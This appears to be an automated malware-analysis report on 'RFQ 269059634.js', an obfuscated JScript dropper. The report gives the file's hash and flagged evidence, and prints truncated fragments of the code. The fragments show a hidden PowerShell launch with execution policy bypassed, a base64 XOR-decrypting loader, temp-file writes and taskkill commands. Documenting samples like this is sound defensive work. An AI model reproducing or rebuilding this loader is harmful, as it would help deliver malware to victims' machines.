Hostile ^100% Download

RFQ 269059634.js

Obfuscated WSH PowerShell dropper

Base64 PowerShell hex-XOR multi-eval loaderObfuscated WSH script creates a file for hidden PowerShell execution

SHA-2563a13c2e360a2f407ec19f3fe978b4f66d9c4221a2d895ccc036e1b8f4171a063

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₆(As₅Xe₄C₄IPS)H₅(Db₆F₄Os₂Po₁₅U)Md

Evidence

WScript bracket-member access in source text line 1

1var _0x21927f=_0x16e5;function _0x20ee(_0x46163f,_0x25655c){_0x46163f=_0x46163f-0x0;var _0x1114d4=_0x2b8a();var _0x5ad3cf=_0x1114d4[_0x46163f];return _0x5ad3cf;}var _0x178875=_0x20ee;function _0x157b(){var _0xc05898=['Exists','Sleep','nodeTypedValue','moveNext','Type','jssgh','AgBSH','RPdjT','TAvtA','Pattern','kVnOY','WScript.Shell','ojbaj','CreateTextFile','\x5cs+','scriptNamePrefix','qXIbY','VBScript.RegExp','indexOf','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789','ZcNjW','pWjOr','WBecN','SaNyQ','ReadText','dwpBR','FolderExists','ndRYQ','Terminate','utf-8','jmngt','execute','IWdFX','Status','Exec','random','UQbMK','sdvMm','getTime','powershell.exe\x20-ExecutionPolicy\x20Bypass\x20-NoProfile\x20-WindowStyle\x20Hidden\x20-File\x20\x22','jSxhx','_initializeDictionary','rNuQB' …

Encoded PowerShell XOR operation line 1

1:843… eplace','UCrhn','XSfFO','QKMuw','Run','Position','hzUKn','VNOqp','FLNhW','vcQmz','bin.base64','lZHaW','fRWNh','Charset','charAt','DopoM','zqMJO','yHrtY','caCMW','dataType','aUggR','kLaJe','KTPha','Scripting.Dictionary','Open','lOhVE','_generateUniqueName','eWhIp','.ps1','MSfiR','C:\x5cTemp\x5c','ZQhdL','_dictionary','_removeWhitespace','MumzW','MSXML2.DOMDocument.6.0','FileExists','DQojUmVxdWlyZXMgLVZlcnNpb24gNS4xDQo8Iw0KLlNZTk9QU0lTDQogICAgU2VjdXJlIFBheWxvYWQgRGVjcnlwdGlvbiAmIEV4ZWN1dGlvbiBFbmdpbmUNCi5ERVNDUklQVElPTg0KICAgIE11bHRpLXN0YWdlIGRlY3J5cHRpb24gd3JhcHBlciB3aXRoIFhPUiBjaXBoZXIgYW5kIGR5bmFtaWMgZXhlY3V0aW9uLg0KIz4NCg0KU2V0LVN0cmljdE1vZGUgLVZlcnNpb24gTGF0ZXN0DQokRXJyb3JBY3Rpb25QcmVmZXJlbmNlID0gJ1N0b3AnDQoNCiMgLS0tIEVtYmVkZGVkIEVuY3J5cHRlZCBQYXlsb2FkIChIZXgpIC0tLQ0KJHNjcmlwdDpFbmNyeXB0ZWRCbG9iID0gQCcNCjZmYzdjYTI5MDQ2NDMzZGRjY2I0MjY0NWYzYWYwNDE3MzNmYzZmODc1ZjhjNGU4MWUwNTAzNGZmODE5YzYyYzgKM2U4OWYzMTIzZjMyMTI5OGU2YWIyZjU5ZTJhYjBlMTc2N2RiNmU4MDUzOTYwNzk4YmY0NzE0ZDVhNjg1NzhjZQozODhlZmQwODc2MTExOWQ1Y2ViNTM0MThkN2I0MDQwZDc2ZDk2ZThjNThiYTRiODFlYzUwNjJkMmNhZDAzNjhkCjZjOTdmMzE0 …

CreateFolder method name string literal line 1

1:3002101… maxExecutionTime','_terminateRunningProcesses','trnzB','Cnbbc','taskkill\x20/f\x20/im\x20wscript.exe','gDVEW','rmodz','NNzKr','text','jFLMk','isdOv','Quit','LhSke','winmgmts:\x5c\x5c.\x5croot\x5ccimv2','GjGFS','floor','llvKJ','IEfEV','Scripting.FileSystemObject','taskkill\x20/f\x20/im\x20cscript.exe','KhCYD','Close','LTxLS','YTgpk','RnMYd','ExecQuery','createElement','vqfev','nYKNU','BhveJ','GYuvE','ADODB.Stream','Write','GvkJK','CreateFolder','item','baTZz','DZmrB','cASCh','uWpgX','xncab','SELECT\x20*\x20FROM\x20Win32_Process\x20WHERE\x20Name=\x27powershell.exe\x27\x20OR\x20Name=\x27pwsh.exe\x27','QGdLE','gAmMh','EDDtF','length'];_0x157b=function(){return _0xc05898;};return _0x157b();}var WorkflowProcessorV2=(function(){v …

Assigns through a computed JavaScript member line 1

1:3002964… var _0x2b3564=_0x20ee;var _0x3cb889={};_0x3cb889[_0x30d8d5(0x40)]=_0x30d8d5(0x25);_0x3cb889[_0x30d8d5(0x33)]=0x186a0;_0x3cb889[_0x52ac96(0xc)]=_0x3336bd(0x7);_0x3cb889[_0x30d8d5(0x12)]=_0x52473e(0x5a);var _0xe86253=_0x3cb889;var _0x27009f={'_dictionary':null,'_initializeDictionary':function(){var _0x4b5578=_0x52473e;var  …

Calls computed member from function result line 1

1:3003654… (0x2b)===_0x2c78a9(0x2b)){if(_0x4b5578(0x64)!==_0x50bf3b(0x64)){_0x9400fe[_0x220167(0x2d)](_0x126cd7,!![]);}else{try{if(_0x4b5578(0x2e)!==_0x4b5578(0x8)){this[_0x55fb7b(0x34)]=new ActiveXObject(_0x49a946(0x46));this[_0x24b054(0x34)][_0x18c5eb(0xd)](_0x55fb7b(0x43));return!![];}else{_0x1d130c[_0x37f242(0x3b)](_0x49a946(0x62),0x0,!![]);_0x362466[_0xc4847e(0x3b)](_0x30b01b(0x1a),0x0,!![]);}}catch(_0x1f1d7a){if('vTooO'!==_0x49a946(0x79)){if(_0x387096(0x43)!==_0x100fde(0x0)){this[_0x4b5578(0x4f)]=null;return![];}else{_0x3cf1a9='';}}else{var _0x49e38b=_0x32d77f['item']();if(_0x49e38b['CommandLine'][_0x46b65c(0x42)](_0x4f4660)>-0x1){if(_0x514007(0x44)===_0x5cd936(0xa)){_0x5e828e[_0x2d5991(0x3b)](_0x387096(0x62),0x0,!![]);_0x11229b[_0x117763(0x3b)](_0x1f9045(0x1a),0x0,!![]);}else{_0x49e38b[_0x1a2e74(0x30)](0x0);}}}}}}else{if(_0x36306d(0x63)!==_0x4b5578(0x72)){_0x416805+=_0xe07f60[_0x24b054(0x8)](_0x1898d2[_0x55fb7b(0x4)](_0x419074['random']()*_0x145fae[_0xf6a844(0x8b)]));}else{_0x54e60[_0x7502e2(0x2d)](_0x596ca5,!![]);}}},'_removeWhitespace':funct …